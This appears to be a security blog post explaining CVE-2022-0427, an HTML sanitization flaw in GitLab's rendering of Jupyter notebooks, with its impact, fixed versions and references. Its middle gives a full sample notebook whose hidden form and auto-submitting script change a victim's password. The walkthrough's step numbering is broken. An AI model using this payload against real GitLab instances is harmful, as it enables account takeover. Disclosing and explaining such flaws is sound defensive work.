Security vulnerabilities in popular tools can have major consequences. In early 2022, a critical issue—CVE-2022-0427—was found in *all* versions of GitLab Community and Enterprise Editions since 14.5. The bug? Missing sanitization of HTML attributes in Jupyter notebook files. The consequence? Attackers could trick users into making arbitrary HTTP POST requests, possibly letting bad actors take over GitLab accounts.

In this exclusive post, we’ll break down what went wrong, how it works, and what you should do. We’ll even walk through sample code snippets and link to the official advisories.

The Problem: Weak Sanitization in Jupyter Notebook Rendering

Jupyter notebooks are a popular way to share code and data with easy-to-read visualizations and markdown. GitLab added built-in support to render these .ipynb files. Unfortunately, the code responsible for cleaning up user-supplied HTML content in these notebooks missed dangerous attributes—especially in tags like <form> and <iframe>.

What does that mean?

Attackers could upload a notebook file containing sneaky JavaScript or dangerous HTML. When a victim visited the file in GitLab’s web UI, the code would execute and send crafted POST requests as if from the victim user.

Attacker creates a malicious Jupyter notebook.

2. The notebook includes a rogue HTML <form> with an action set to a sensitive GitLab path (e.g., password change, email change).

A victim *with necessary GitLab privileges* views the notebook in GitLab’s web UI.

5. The malicious code makes an HTTP POST request—using the victim’s session!—to change their account details or perform privileged actions.

Let’s see a simple exploit technique using a Jupyter notebook’s markdown cell

{
 "cells": [
  {
   "cell_type": "markdown",
   "id": "exploit-cell",
   "metadata": {},
   "source": [
    "<form id='evilForm' action='/-/profile/password' method='POST'>\n",
    "<input type='hidden' name='current_password' value='victims-old-password'>\n",
    "<input type='hidden' name='new_password' value='Pwned123!'>\n",
    "<input type='hidden' name='new_password_confirmation' value='Pwned123!'>\n",
    "</form>\n",
    "<script>document.getElementById('evilForm').submit();</script>"
   ]
  }
 ],
 "metadata": {},
 "nbformat": 4,
 "nbformat_minor": 5
}

What does this do?

Account takeovers: Attackers could hijack victim user accounts.

- Privilege escalation: Attackers could try to make admin-level changes, destroy or steal projects, and leak sensitive company data.
- All versions at risk: *All* GitLab CE/EE users from 14.5 until the fix were vulnerable.

Patching and Mitigation

GitLab fixed this bug in 14.7.1, 14.6.4, and 14.5.4. The fix involved stricter sanitization—especially preventing execution of unwanted scripts or form actions inside notebook rendering.

Original References

- GitLab Advisory: CVE-2022-0427
- NIST NVD CVE-2022-0427 Entry
- HackerOne GitLab Report (may require login)

Conclusion

CVE-2022-0427 is a stark reminder: features that enhance usability, like notebook rendering, can open dangerous attack surfaces if not rigorously sanitized. If you run or host a GitLab instance, always patch early, review code for data sanitization, and stay mindful about rendering untrusted files.

Timeline

Published on: 03/28/2022 19:15:00 UTC
Last modified on: 04/04/2022 19:16:00 UTC